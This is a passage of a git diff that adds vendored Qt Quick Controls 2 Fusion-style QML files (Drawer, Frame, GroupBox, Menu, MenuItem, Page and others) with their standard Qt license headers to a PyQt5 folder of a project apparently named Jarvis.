http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Fusion 2.12 +import QtQuick.Controls.Fusion.impl 2.12 + +T.Drawer { + id: control + + parent: T.Overlay.overlay + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + topPadding: control.edge === Qt.BottomEdge + leftPadding: control.edge === Qt.RightEdge + rightPadding: control.edge === Qt.LeftEdge + bottomPadding: control.edge === Qt.TopEdge + + enter: Transition { SmoothedAnimation { velocity: 5 } } + exit: Transition { SmoothedAnimation { velocity: 5 } } + + background: Rectangle { + color: control.palette.window + readonly property bool horizontal: control.edge === Qt.LeftEdge || control.edge === Qt.RightEdge + Rectangle { + width: parent.horizontal ? 1 : parent.width + height: parent.horizontal ? parent.height : 1 + color: control.palette.mid + x: control.edge === Qt.LeftEdge ? parent.width - 1 : 0 + y: control.edge === Qt.TopEdge ? parent.height - 1 : 0 + } + Rectangle { + width: parent.horizontal ? 1 : parent.width + height: parent.horizontal ? parent.height : 1 + color: control.palette.shadow + opacity: 0.2 + x: control.edge === Qt.LeftEdge ? parent.width : 0 + y: control.edge === Qt.TopEdge ? parent.height : 0 + } + } + + T.Overlay.modal: Rectangle { + color: Fusion.topShadow + } + + T.Overlay.modeless: Rectangle { + color: Fusion.topShadow + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/Frame.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/Frame.qml new file mode 100644 index 00000000..c2df6351 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/Frame.qml @@ -0,0 +1,58 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Fusion 2.12 +import QtQuick.Controls.Fusion.impl 2.12 + +T.Frame { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + padding: 9 + + background: Rectangle { + color: "transparent" + border.color: Qt.lighter(Fusion.outline(control.palette), 1.08) + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/GroupBox.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/GroupBox.qml new file mode 100644 index 00000000..3df3e1e6 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/GroupBox.qml @@ -0,0 +1,77 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Fusion 2.12 +import QtQuick.Controls.Fusion.impl 2.12 + +T.GroupBox { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding, + implicitLabelWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + spacing: 6 + padding: 9 + topPadding: padding + (implicitLabelWidth > 0 ? implicitLabelHeight + spacing : 0) + + label: Text { + x: control.leftPadding + width: control.availableWidth + + text: control.title + font: control.font + color: control.palette.windowText + elide: Text.ElideRight + verticalAlignment: Text.AlignVCenter + } + + background: Rectangle { + y: control.topPadding - control.bottomPadding + width: parent.width + height: parent.height - control.topPadding + control.bottomPadding + + radius: 2 + color: Color.transparent("black", 3 / 255) + border.color: Qt.lighter(Fusion.outline(control.palette), 1.08) + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/HorizontalHeaderView.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/HorizontalHeaderView.qml new file mode 100644 index 00000000..bbd9dc3f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/HorizontalHeaderView.qml @@ -0,0 +1,78 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick.Controls 2.15 +import QtQuick.Templates 2.15 as T + +T.HorizontalHeaderView { + id: control + + implicitWidth: syncView ? syncView.width : 0 + implicitHeight: contentHeight + + delegate: Rectangle { + // Qt6: add cellPadding (and font etc) as public API in headerview + readonly property real cellPadding: 8 + + implicitWidth: text.implicitWidth + (cellPadding * 2) + implicitHeight: Math.max(control.height, text.implicitHeight + (cellPadding * 2)) + border.color: "#cacaca" + + gradient: Gradient { + GradientStop { + position: 0 + color: "#fbfbfb" + } + GradientStop { + position: 1 + color: "#e0dfe0" + } + } + + Text { + id: text + text: control.textRole ? (Array.isArray(control.model) ? modelData[control.textRole] + : model[control.textRole]) + : modelData + width: parent.width + height: parent.height + horizontalAlignment: Text.AlignHCenter + verticalAlignment: Text.AlignVCenter + color: "#ff26282a" + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/ItemDelegate.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/ItemDelegate.qml new file mode 100644 index 00000000..4c15ae68 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/ItemDelegate.qml @@ -0,0 +1,77 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Fusion 2.12 +import QtQuick.Controls.Fusion.impl 2.12 + +T.ItemDelegate { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + padding: 6 + spacing: 6 + + icon.width: 16 + icon.height: 16 + + contentItem: IconLabel { + spacing: control.spacing + mirrored: control.mirrored + display: control.display + alignment: control.display === IconLabel.IconOnly || control.display === IconLabel.TextUnderIcon ? Qt.AlignCenter : Qt.AlignLeft + + icon: control.icon + text: control.text + font: control.font + color: control.highlighted ? Fusion.highlightedText(control.palette) : control.palette.text + } + + background: Rectangle { + implicitWidth: 100 + implicitHeight: 20 + color: control.down ? Fusion.buttonColor(control.palette, false, true, true) + : control.highlighted ? Fusion.highlight(control.palette) : control.palette.base + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/Label.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/Label.qml new file mode 100644 index 00000000..9821f71c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/Label.qml @@ -0,0 +1,49 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Fusion 2.12 +import QtQuick.Controls.Fusion.impl 2.12 + +T.Label { + id: control + + color: control.palette.windowText + linkColor: control.palette.link +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/Menu.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/Menu.qml new file mode 100644 index 00000000..8bace6b9 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/Menu.qml @@ -0,0 +1,95 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Fusion 2.12 +import QtQuick.Controls.Fusion.impl 2.12 +import QtQuick.Window 2.12 + +T.Menu { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + margins: 0 + padding: 1 + overlap: 2 + + delegate: MenuItem { } + + contentItem: ListView { + implicitHeight: contentHeight + model: control.contentModel + interactive: Window.window + ? contentHeight + control.topPadding + control.bottomPadding > Window.window.height + : false + clip: true + currentIndex: control.currentIndex + + ScrollIndicator.vertical: ScrollIndicator {} + } + + background: Rectangle { + implicitWidth: 200 + implicitHeight: 20 + + color: control.palette.base + border.color: Fusion.outline(control.palette) + + Rectangle { + z: -1 + x: 1; y: 1 + width: parent.width + height: parent.height + color: control.palette.shadow + opacity: 0.2 + } + } + + T.Overlay.modal: Rectangle { + color: Fusion.topShadow + } + + T.Overlay.modeless: Rectangle { + color: Fusion.topShadow + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/MenuBar.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/MenuBar.qml new file mode 100644 index 00000000..4ba71fee --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/MenuBar.qml @@ -0,0 +1,74 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Fusion 2.12 +import QtQuick.Controls.Fusion.impl 2.12 + +T.MenuBar { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + delegate: MenuBarItem { } + + contentItem: Row { + spacing: control.spacing + Repeater { + model: control.contentModel + } + } + + background: Rectangle { + implicitHeight: 20 + + color: control.palette.window + + Rectangle { + y: parent.height - height + width: parent.width + height: 1 + color: Fusion.mergedColors(Qt.darker(control.palette.window, 1.2), + Qt.lighter(Fusion.outline(control.palette), 1.4), 60) + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/MenuBarItem.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/MenuBarItem.qml new file mode 100644 index 00000000..9fa685dc --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/MenuBarItem.qml @@ -0,0 +1,78 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Fusion 2.12 +import QtQuick.Controls.Fusion.impl 2.12 + +T.MenuBarItem { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + padding: 6 + spacing: 6 + + icon.width: 16 + icon.height: 16 + + contentItem: IconLabel { + spacing: control.spacing + mirrored: control.mirrored + display: control.display + alignment: Qt.AlignLeft + + icon: control.icon + text: control.text + font: control.font + color: control.down || control.highlighted ? Fusion.highlightedText(control.palette) : control.palette.text + } + + background: Rectangle { + implicitWidth: 20 + implicitHeight: 20 + + color: Fusion.highlight(control.palette) + visible: control.down || control.highlighted + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/MenuItem.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/MenuItem.qml new file mode 100644 index 00000000..a428fbc8 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/MenuItem.qml @@ -0,0 +1,103 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Fusion 2.12 +import QtQuick.Controls.Fusion.impl 2.12 + +T.MenuItem { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + padding: 6 + spacing: 6 + + icon.width: 16 + icon.height: 16 + + contentItem: IconLabel { + readonly property real arrowPadding: control.subMenu && control.arrow ? control.arrow.width + control.spacing : 0 + readonly property real indicatorPadding: control.checkable && control.indicator ? control.indicator.width + control.spacing : 0 + leftPadding: !control.mirrored ? indicatorPadding : arrowPadding + rightPadding: control.mirrored ? indicatorPadding : arrowPadding + + spacing: control.spacing + mirrored: control.mirrored + display: control.display + alignment: Qt.AlignLeft + + icon: control.icon + text: control.text + font: control.font + color: control.down || control.highlighted ? Fusion.highlightedText(control.palette) : control.palette.text + } + + arrow: ColorImage { + x: control.mirrored ? control.padding : control.width - width - control.padding + y: control.topPadding + (control.availableHeight - height) / 2 + width: 20 + + visible: control.subMenu + rotation: control.mirrored ? 90 : -90 + color: control.down || control.hovered || control.highlighted ? Fusion.highlightedText(control.palette) : control.palette.text + source: "qrc:/qt-project.org/imports/QtQuick/Controls.2/Fusion/images/arrow.png" + fillMode: Image.Pad + } + + indicator: CheckIndicator { + x: control.mirrored ? control.width - width - control.rightPadding : control.leftPadding + y: control.topPadding + (control.availableHeight - height) / 2 + + control: control + visible: control.checkable + } + + background: Rectangle { + implicitWidth: 200 + implicitHeight: 20 + + color: Fusion.highlight(control.palette) + visible: control.down || control.highlighted + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/MenuSeparator.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/MenuSeparator.qml new file mode 100644 index 00000000..522ada15 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/MenuSeparator.qml @@ -0,0 +1,60 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Fusion 2.12 +import QtQuick.Controls.Fusion.impl 2.12 + +T.MenuSeparator { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + padding: 5 + verticalPadding: 1 + + contentItem: Rectangle { + implicitWidth: 188 + implicitHeight: 1 + color: Qt.lighter(Fusion.darkShade, 1.06) + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/Page.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/Page.qml new file mode 100644 index 00000000..ce4b1d54 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/Page.qml @@ -0,0 +1,59 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Fusion 2.12 +import QtQuick.Controls.Fusion.impl 2.12 + +T.Page { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding, + implicitHeaderWidth, + implicitFooterWidth) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding + + (implicitHeaderHeight > 0 ? implicitHeaderHeight + spacing : 0) + + (implicitFooterHeight > 0 ? implicitFooterHeight + spacing : 0)) + + background: Rectangle { + color: control.palette.window + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/PageIndicator.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/PageIndicator.qml new file mode 100644 